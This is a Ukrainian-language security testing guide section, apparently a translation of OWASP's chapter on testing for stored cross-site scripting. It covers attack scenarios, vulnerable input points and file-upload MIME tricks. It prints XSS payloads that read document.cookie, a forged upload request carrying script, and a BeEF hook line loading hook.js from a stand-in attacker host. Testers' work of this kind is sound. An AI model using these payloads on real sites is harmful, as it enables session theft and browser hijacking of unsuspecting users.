4.2 Testing for Stored Cross Site Scripting
Суть уразливості:
Збережені міжсайтові сценарії (XSS) – найбільш небезпечний тип міжсайтових сценаріїв. Веб-програми, які дозволяють користувачам зберігати дані, потенційно піддаються цьому типу атак. У цьому розділі наведено приклади збережених міжсайтових сценаріїв та пов'язаних сценаріїв експлуатації.
Збережений XSS виникає, коли веб-застосунок збирає дані від користувача, які можуть бути шкідливими, а потім зберігає ці дані в сховищі даних для подальшого використання. Збережені дані неправильно відфільтровані. Як наслідок, шкідливі дані будуть відображатися як частина веб-сайту та запускатися у браузері користувача з правами веб-програми. Оскільки ця вразливість зазвичай включає як мінімум два запити до програми, її також можна назвати XSS другого порядку.
Цю вразливість можна використовувати для низки атак на основі браузера, в тому числі: • Зламування браузера іншого користувача • Збір конфіденційної інформації, яку переглядають користувачі програми
• Псевдо-псування програми
• Сканування портів внутрішніх хостів («внутрішніх» по відношенню до користувачів веб-додатку)
• Спрямована доставка експлойтів на основі браузера
• Інші шкідливі дії.
Зберігається XSS не потребує шкідливого посилання для використання. Успішна експлуатація відбувається, коли користувач відвідує сторінку із збереженим XSS. Наступні етапи відносяться до типового сценарію атаки XSS, що зберігається:
• Зловмисник зберігає шкідливий код на вразливій сторінці
• Користувач аутентифікується у програмі
• Користувач заходить на вразливу сторінку
• Шкідливий код виконується браузером користувача.
Цей тип атаки також може бути використаний з такими середовищами браузера, як BeEF, XSS Proxy, Backframe. Ці фреймворки дозволяють розробляти складні JavaScript-експлойти. Збережений XSS особливо небезпечний у областях додатків, де користувачі з високими привілеями мають доступ. Коли адміністратор відвідує вразливу сторінку, атака автоматично виконується його браузером. Це може розкрити конфіденційну інформацію, таку як токени авторизації сеансу.
Як протестувати
Процес виявлення вразливостей XSS, що зберігаються, аналогічний процесу, описаному під час тестування для відображеної XSS.
Форми введення
Першим кроком є визначення всіх точок, де є введення користувача і йде збереження в серверній частині, а потім відображається додатком. Типові приклади збереженого введення користувача можна знайти в:
• Сторінка профілю користувача - де програма дозволяє користувачеві редагувати / змінювати дані профілю, такі як ім'я, прізвище, псевдонім, аватар, зображення, адресу і т.д.
• Кошик - де програма дозволяє користувачеві зберігати товари в кошику, які потім можна переглянути пізніше
• Uploader - де програма дозволяє завантажувати файли
• Установки програми - де програма дозволяє користувачу встановлювати налаштування
• Форум - де програма дозволяє обмінюватися повідомленнями між користувачами
Аналіз HTML-коду
Вхідні дані, що зберігаються програмою, зазвичай використовуються в тегах HTML, але їх також можна знайти як частину вмісту JavaScript. На цьому етапі важливо зрозуміти, чи зберігається введення та як воно позиціонується в контексті сторінки. На відміну від відображеного XSS, тестер повинен також досліджувати будь-які місця, де інформація, що вводиться від користувача, може з'явитися в додатку.
Примітка. Усі області, доступні адміністраторам, повинні бути перевірені на наявність даних, представлених користувачами.
Приклад: електронна пошта зберігає дані в index2.php
HTML-код index2.php, в якому знаходиться значення електронного листа:
«input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" /»
У цьому випадку тестувальник повинен знайти спосіб впровадити код поза тегом, як показано нижче:
«input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- /»
Тестування для збереженого XSS Це включає тестування вхідних даних і контроль фільтрації програми. Основні приклади ін'єкцій у разі:
aaa@aa.com">«script>alert(document.cookie)«/script»
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscr ipt%3E
Переконайтеся, що вхід подається через програму. Зазвичай це включає відключення JavaScript, якщо реалізовані засоби управління безпекою на стороні клієнта, або зміна запиту HTTP за допомогою веб-проксі, такого як WebScarab . Також важливо протестувати одну й ту саму ін'єкцію із запитами HTTP GET та POST. Вказана вище ін'єкція призводить до появи спливаючого вікна, що містить значення cookie.
Очікуваний результат :
HTML-код, наступний за ін'єкцією:
«"input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> «script»alert(document.cookie)«/script»
Вхідні дані зберігаються, і корисне навантаження XSS виконується браузером під час перезавантаження сторінки. Якщо програма виходить із входу, тестувальники повинні перевірити програму на наявність фільтрів XSS. Наприклад, якщо рядок «SCRIPT» замінюється пробілом або символом NULL, це може бути потенційною ознакою фільтрації XSS у дії. Існує безліч методів, що дозволяють обійти вхідні фільтри (див. розділ «Тестування відбитого XSS»). Настійно рекомендується, щоб тестери зверталися до сторінок XSS Filter Evasion, які надають великий список атак XSS та обхідних шляхів фільтрації.
Кредитне плече XSS з BeEF
Збережений XSS може використовуватися розширеними середовищами розробки JavaScript, такими як BeEF, XSS Proxy
Типовий сценарій використання BeEF включає:
• Впровадження JavaScript-хука, який пов'язується із середовищем використання браузера зловмисником (BeEF)
• Очікування, поки користувач програми побачить вразливу сторінку, де відображається збережене введення
• Керування браузером користувача
Приклад ін'єкції BeEF в index2.php:
aaa@aa.com”>«script src=http://attackersite/hook.js>«/script»
Коли користувач завантажує сторінку index2.php, скрипт hook.js виконується браузером. Після цього можна отримати доступ до файлів cookie, скріншоту користувача, буферу обміну користувача і запускати складні XSS-атаки.
Очікуваний результат
Ця атака особливо ефективна на вразливих сторінках, які переглядають багато користувачів з різними привілеями.
Uploader
Якщо веб-програма дозволяє завантажувати файли, важливо перевірити, чи можна завантажувати вміст HTML. Наприклад, якщо файли HTML або TXT дозволені, корисне навантаження XSS може бути введене в завантажений файл. Пен-тестер також повинен перевірити, чи дозволяє завантаження файлу встановлювати довільні типи MIME.
Розглянемо наступний HTTP-запит POST для завантаження файлу:
POST /fileupload.aspx HTTP/1.1
[…]
Content-Disposition: form-data; name="uploadfile1"; filename="C:Documents and SettingstestDesktoptest.txt"
Content-Type: text/plain
test
Цей недолік дизайну може бути використаний у браузері MIME-атак. Наприклад, файли, що нешкідливо виглядають, такі як JPG і GIF, можуть містити корисне навантаження XSS, яке виконується, коли вони завантажуються браузером. Це можливо, коли замість типу MIME для зображення, такого як image/gif, можна встановити значення text/html. У цьому випадку файл оброблятиметься браузером клієнта як HTML.
HTTP POST запит підроблено:
Content-Disposition: form-data; name="uploadfile1"; filename="C:Documents and SettingstestDesktoptest.gif"
Content-Type: text/html
«script»alert(document.cookie)«/script»
Також врахуйте, що Internet Explorer не обробляє типи MIME так само, як і Mozilla Firefox або інші браузери. Наприклад, Internet Explorer обробляє файли TXT із вмістом HTML як вміст HTML.
Інструменти
• PHP Charset Encoder (PCE) - PCE допомагає вам кодувати довільні тексти в 65 видів наборів символів, які ви можете використовувати у своїх даних користувача.
• Hackvertor - це онлайн-інструмент, який дозволяє багато типів кодування та обфускації JavaScript (або будь-якого рядкового введення).
• BeEF – це фреймворк для браузерів. Професійний інструмент для демонстрації впливу вразливостей браузера в режимі реального часу
• XSS-Proxy - це передовий інструмент атаки між сайтами (XSS).
• Burp – це інтерактивний проксі-сервер HTTP/S для атаки та тестування веб-додатків.
• Помічник XSS - Скрипт Greasemonkey, який дозволяє користувачам легко тестувати будь-яку веб-програму на наявність помилок міжсайтового скриптингу.
• OWASP Zed Attack Proxy (ZAP) – це простий у використанні інтегрований інструмент для тестування на проникнення для пошуку вразливостей у веб-додатках. Він призначений для використання людьми з широким спектром досвіду в галузі безпеки і тому ідеально підходить для розробників та функціональних тестерів, які вперше знайомі з тестуванням на проникнення. ZAP надає автоматичні сканери, а також набір інструментів, які дозволяють вручну знаходити вразливості.